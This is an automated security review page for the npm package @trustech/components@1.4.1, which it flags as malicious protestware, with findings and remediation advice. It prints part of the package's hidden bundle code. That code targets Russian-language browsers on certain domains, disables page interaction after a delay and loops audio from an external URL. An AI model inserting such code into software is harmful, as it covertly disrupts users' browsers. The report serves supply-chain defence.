@trustech/components@1.4.1
This template should help get you started developing with Vue 3 in Vite.
AI Security Review
scanned 1d ago · by lpm-firewall-aiThe entrypoint bundles implement targeted, delayed browser disruption unrelated to the component library's normal purpose. The behavior is directly present in both published entrypoints, supporting a malicious protestware finding.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Import or require the package in a browser with a Russian-language setting on a .ru, .su, .by, or xn--p1ai host; the effect occurs when the stored timestamp is over three days old.
Impact
Users can lose page interaction and hear unwanted audio.
Mechanism
The bundle sets the page body's pointer events to none and adds an audio element that loops audio from a fixed external URL.
Attack narrative
The package's import and require entrypoints include browser code that targets Russian-language users on selected domain suffixes. Once its stored timestamp is more than three days old, the code disables page interaction and plays looping audio from a fixed external host.
AI rationale
The entrypoint bundles implement targeted, delayed browser disruption unrelated to the component library's normal purpose. The behavior is directly present in both published entrypoints, supporting a malicious protestware finding.
Evidence
package.jsondist/trustech-components.es.jsdist/trustech-components.umd.js
Network endpoints1
flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json selects the inspected ES and UMD bundles as the import and require entrypoints.
- The ES bundle contains top-level browser code that checks the browser language and host, waits until a stored timestamp is over three days old, disables page interaction, and plays looping audio from an external URL.
- The UMD bundle contains the same host and language trigger, interaction lock, and looping audio behavior.
Evidence against
Behavioral surface
EvalNetwork
HighEntropyStringsMinifiedUrlStrings
NoLicense
Source & flagged code
6 flagged · loading sourcedist/trustech-components.es.jsView file
•if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
Critical
Targeted Browser Disruption Protestware
Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.
dist/trustech-components.es.jsView on unpkg20031navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
const t = /* @__PURE__ */ new Date(), e = localStorage.getItem("swal-initiation");
e ? (t.getTime() - Date.parse(e)) / (1e3 * 60 * 60 * 24) > 3 && setTimeout(() => {
document.body.style.pointerEvents = "none";
const n = document.createElement("audio");
n.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", n.loop = !0, document.body.appendChild(n), setTimeout(() => {
n.play().catch(() => {
});
}, 2500);
}, 500) : localStorage.setItem("swal-initiation", `
High
Ai Review Evidence
The ES bundle contains top-level browser code that checks the browser language and host, waits until a stored timestamp is over three days old, disables page interaction, and plays looping audio from an external URL.
dist/trustech-components.es.jsView on unpkg · L2003119835
Findings
2 Critical3 High2 Medium5 Low
CriticalTargeted Browser Disruption Protestwaredist/trustech-components.es.js
CriticalTrigger Reachable Dangerous Capabilitydist/trustech-components.umd.js
HighSemantic Analysis Limiteddist/style.css
HighAi Review Evidencepackage.json
HighAi Review Evidencedist/trustech-components.es.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowEvaldist/trustech-components.es.js
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @trustech/components@1.4.1.
See all versions of @trustech/components for other recorded verdicts.
- Avoid installing @trustech/components@1.4.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.